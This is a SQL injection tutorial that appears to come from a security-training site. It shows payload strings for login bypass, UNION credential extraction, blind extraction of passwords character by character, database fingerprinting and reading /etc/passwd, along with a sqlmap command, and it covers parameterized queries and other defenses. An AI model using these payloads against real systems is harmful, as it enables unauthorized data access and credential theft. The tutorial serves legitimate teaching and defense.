SQL injection is one of the oldest and most dangerous web application vulnerabilities. Despite being well understood for over two decades, it remains in the OWASP Top 10 because developers continue to make the same mistakes when handling user input.
This SQL injection tutorial walks you through exactly how these attacks work, the different types you need to know, and the specific techniques to prevent them in your applications. Whether you're learning penetration testing or building secure applications in 2026, understanding SQLi is fundamental.
TL;DR - What is SQL Injection?
SQL injection occurs when attackers insert malicious SQL code into application queries through user input fields. This can let them read sensitive data, modify or delete records, and sometimes execute system commands on the database server.
What is SQL Injection?
SQL injection (SQLi) is a code injection technique that exploits vulnerabilities in applications that build SQL queries using unsanitized user input. When an application directly concatenates user input into database queries, attackers can manipulate the query structure to access unauthorized data or perform malicious operations.
Why it matters: A successful SQL injection attack can expose your entire database, including usernames, passwords, credit card numbers, and personal information. In severe cases, attackers can gain complete control of the database server.
Consider a simple login form that checks credentials against a database:
-- Vulnerable query construction in PHP
$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";
If a user enters admin as the username and ' OR '1'='1 as the password, the resulting query becomes:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'
Since '1'='1' is always true, this query returns all users, effectively bypassing authentication entirely.
How SQL Injection Attacks Work
Understanding the mechanics of SQL injection helps you identify vulnerable code and craft effective defenses. Here's the typical attack flow:
- Identify injection points Attacker finds input fields that interact with the database: login forms, search boxes, URL parameters
- Test for vulnerability Insert special characters like single quotes (') to see if they cause database errors
- Determine database structure Use error messages or techniques like UNION SELECT to discover table names and columns
- Extract or manipulate data Craft payloads to dump sensitive data, modify records, or escalate privileges
- Maintain access (advanced) In some cases, attackers create backdoors or execute system commands
The Role of User Input
SQL injection exploits the trust applications place in user input. Any data that flows from users into SQL queries is a potential attack vector:
- Form fields: Login credentials, search queries, registration data
- URL parameters: Product IDs, page numbers, filter options
- HTTP headers: User-Agent, Referer, Cookie values
- Hidden fields: Form tokens, user IDs, product quantities
Types of SQL Injection
SQL injection attacks fall into three main categories based on how attackers retrieve information from the database:
In-Band SQLi
The attacker uses the same communication channel to launch the attack and retrieve results. This is the most common and easiest to exploit.
Subtypes: Error-based, Union-based
Blind SQLi
The application doesn't display database errors or query results. Attackers infer information by observing application behavior or response times.
Subtypes: Boolean-based, Time-based
Out-of-Band SQLi
Data is exfiltrated through a different channel, such as DNS or HTTP requests to an attacker-controlled server. Requires specific database features.
Example: DNS exfiltration via xp_dirtree
Error-Based SQL Injection
Error-based SQLi relies on database error messages to extract information. When verbose error reporting is enabled, attackers can craft queries that reveal database structure:
-- Input that triggers an informative error
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--
The database attempts to convert a table name to an integer, which fails and exposes the table name in the error message.
Union-Based SQL Injection
Union-based attacks use the UNION SELECT statement to combine results from multiple queries. The attacker first determines the number of columns, then extracts data:
-- Step 1: Find column count using ORDER BY
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- (error here means 2 columns)
-- Step 2: Extract data using UNION
' UNION SELECT username, password FROM users--
Boolean-Based Blind SQL Injection
When error messages are suppressed, attackers ask true/false questions and observe how the application responds:
-- If the page loads normally, first character of password is 'a' or later
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') > 'a'--
-- Narrow down character by character
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 's'--
Time-Based Blind SQL Injection
When even boolean differences aren't visible, attackers use database sleep functions to infer results based on response time:
-- If response takes 5 seconds, the condition is true
' AND IF(1=1, SLEEP(5), 0)--
-- Extract data one character at a time
' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='s', SLEEP(5), 0)--
Common SQL Injection Attack Examples
Let's examine practical SQL injection scenarios you might encounter during penetration testing or security assessments.
Authentication Bypass
The classic "admin without password" attack uses boolean logic to bypass login verification:
Username: admin'--
Password: anything
-- Resulting query:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
-- Everything after -- is treated as a comment
What happens: The comment characters (--) cause the password check to be ignored entirely. The query returns the admin user regardless of what password is entered.
Data Extraction with UNION
Suppose a product page uses this URL: product.php?id=5. An attacker can extract data from other tables:
-- Original query
SELECT name, price, description FROM products WHERE id = 5
-- Malicious URL: product.php?id=5 UNION SELECT username, password, email FROM users--
-- Results display user credentials instead of product info
Database Fingerprinting
Identifying the database type helps attackers choose appropriate payloads:
-- MySQL: Returns version like "8.0.32"
' UNION SELECT @@version, NULL, NULL--
-- SQL Server: Returns version info
' UNION SELECT @@version, NULL, NULL--
-- PostgreSQL
' UNION SELECT version(), NULL, NULL--
-- Oracle
' UNION SELECT banner FROM v$version WHERE rownum=1--
Reading System Files (MySQL)
On misconfigured MySQL servers, attackers can read files from the filesystem:
-- Read /etc/passwd on Linux
' UNION SELECT LOAD_FILE('/etc/passwd'), NULL, NULL--
Security note: Modern MySQL configurations restrict LOAD_FILE() and other file operations by default. However, legacy systems or misconfigured servers may still be vulnerable.
How to Detect SQL Injection Vulnerabilities
Finding SQL injection requires systematic testing of all user input points. Here are the primary techniques:
Manual Testing Checklist
-
Single quote test: Enter
'and look for database errors or unexpected behavior -
Boolean conditions: Compare responses to
1=1(true) vs1=2(false) -
Time delays: Inject
SLEEP(5)and measure response time differences -
String concatenation: Test if
testequalste'+'st(SQL Server) orte'||'st(Oracle)
Automated Tools
Several tools automate SQL injection detection and exploitation:
SQLMap
The most popular open-source SQL injection tool. Automatically detects and exploits SQLi vulnerabilities across all major database systems. Learn the basics in our SQLMap cheat sheet.
Burp Suite
Professional web security testing platform with built-in SQL injection scanner. Excellent for intercepting requests and manually testing injection points.
Example SQLMap command for testing a URL parameter:
# Basic SQLMap scan
sqlmap -u "http://target.example/product.php?id=5" --dbs
# Options explained:
# -u: Target URL with injectable parameter
# --dbs: Enumerate available databases
How to Prevent SQL Injection
Preventing SQL injection requires a defense-in-depth approach. No single technique is foolproof, so implement multiple layers of protection.
1. Use Parameterized Queries (Prepared Statements)
Parameterized queries separate SQL code from user data, making injection impossible. This is the most effective defense:
// VULNERABLE - String concatenation
$query = "SELECT * FROM users WHERE username = '" . $username . "'";
// SECURE - Parameterized query (PHP PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
Here's the equivalent in other languages:
# Python with SQLite
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
// Java with JDBC
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);
// Node.js with mysql2
connection.execute("SELECT * FROM users WHERE username = ?", [username]);
Why this works: The database treats user input as data, never as executable SQL code. Even if someone enters ' OR '1'='1, it searches for a user with that literal username.
2. Use Stored Procedures Correctly
Stored procedures can provide protection when implemented properly, but they're not automatically safe. Avoid dynamic SQL within procedures:
-- VULNERABLE stored procedure
CREATE PROCEDURE GetUser(@username VARCHAR(50))
AS
EXEC('SELECT * FROM users WHERE username = ''' + @username + '''')
-- SECURE stored procedure
CREATE PROCEDURE GetUser(@username VARCHAR(50))
AS
SELECT * FROM users WHERE username = @username
3. Input Validation and Sanitization
While not a complete defense, input validation adds another layer of security:
- Whitelist validation: Only accept expected characters (alphanumeric for usernames)
- Type checking: Ensure numeric parameters are actually numbers
- Length limits: Restrict input length to expected maximums
// Validate that ID is numeric before use
if (!is_numeric($_GET['id'])) {
die("Invalid product ID");
}
$id = (int) $_GET['id'];
4. Apply Least Privilege
Database accounts used by web applications should have minimal permissions:
- Create separate accounts for read-only and write operations
- Never use database administrator accounts for web applications
- Restrict access to system tables and sensitive stored procedures
- Disable dangerous functions like
xp_cmdshellin SQL Server
5. Use Web Application Firewalls (WAF)
WAFs can block common SQL injection patterns as an additional layer, but should not be your primary defense. Attackers frequently find bypasses for WAF rules.
Defense priority: Always implement parameterized queries first. Consider WAFs and input validation as supplementary measures, not replacements.
Legal and Ethical Considerations
SQL injection testing must only be performed on systems you own or have explicit written authorization to test. Unauthorized database access is a criminal offense in most jurisdictions.
Before testing any system:
- Obtain written permission from the system owner
- Define the scope of testing clearly
- Document all activities for accountability
- Report vulnerabilities through proper channels
- Never access, modify, or exfiltrate real user data
For learning and practice, always use intentionally vulnerable applications or authorized lab environments.
Practice SQL Injection Safely
The best way to understand SQL injection is hands-on practice in safe, legal environments. Here are resources designed specifically for learning:
SQL Injection Lab
Practice basic to advanced SQL injection techniques in a controlled environment. Perfect for beginners starting their security journey.
NoSQL Injection Lab
Learn how injection attacks apply to MongoDB and other NoSQL databases with different syntax and techniques.
For comprehensive learning, the SQL Injection course covers theory, detection, exploitation, and prevention in depth. Combine it with tools training from the SQLMap cheat sheet to build practical skills.
Other Practice Platforms
- DVWA (Damn Vulnerable Web Application): Classic practice app with multiple difficulty levels
- SQLi-labs: Focused collection of SQL injection challenges
- PortSwigger Web Security Academy: Free labs from the creators of Burp Suite
Frequently Asked Questions
Is SQL injection still relevant in 2026?
Yes. Despite being a well-known vulnerability, SQL injection consistently appears in the OWASP Top 10. Legacy applications, developer mistakes, and ORM misuse keep it prevalent. Modern frameworks help, but misconfigurations still occur.
Can SQL injection affect NoSQL databases?
NoSQL databases like MongoDB aren't vulnerable to traditional SQL injection, but they have their own injection vulnerabilities. NoSQL injection exploits query operators and JSON structures. Learn more in the NoSQL injection lab.
Do ORMs prevent SQL injection?
When used correctly, ORMs (Object-Relational Mappers) like Hibernate, Django ORM, and ActiveRecord use parameterized queries by default. However, raw query methods and improper use can still introduce vulnerabilities. Always review ORM-generated queries during security assessments.
What's the difference between SQLi and XSS?
SQL injection targets the database server by manipulating SQL queries, while XSS (Cross-Site Scripting) targets users by injecting malicious JavaScript into web pages. They're both injection attacks but with different targets and impacts. See our XSS vs CSRF guide for more on client-side attacks.
How do I report SQL injection vulnerabilities?
If you discover a vulnerability, check if the organization has a bug bounty program or security contact. Report through official channels, provide clear reproduction steps, and give reasonable time for fixes before any public disclosure. Never exploit vulnerabilities for personal gain.
Summary: Mastering SQL Injection
SQL injection remains one of the most impactful web application vulnerabilities. Understanding how these attacks work is essential whether you're securing applications or conducting authorized penetration tests.
Key takeaways from this SQL injection tutorial:
- SQLi exploits unsafe query construction: User input directly concatenated into SQL statements creates vulnerabilities
- Three main types exist: In-band (error/union-based), blind (boolean/time-based), and out-of-band
- Parameterized queries are the primary defense: They separate code from data, making injection impossible
- Defense in depth matters: Combine prepared statements with input validation, least privilege, and WAFs
- Practice legally: Only test systems you own or have explicit permission to assess
Reading about SQL injection is just the first step. True understanding comes from hands-on practice, seeing how different payloads behave, and learning to craft queries that extract specific information.
Ready to practice SQL injection hands-on? Start with the SQL Injection lab for guided challenges, then explore the comprehensive SQL Injection course for in-depth techniques. Master the essential testing tool with the SQLMap cheat sheet to automate detection and exploitation across all major database systems.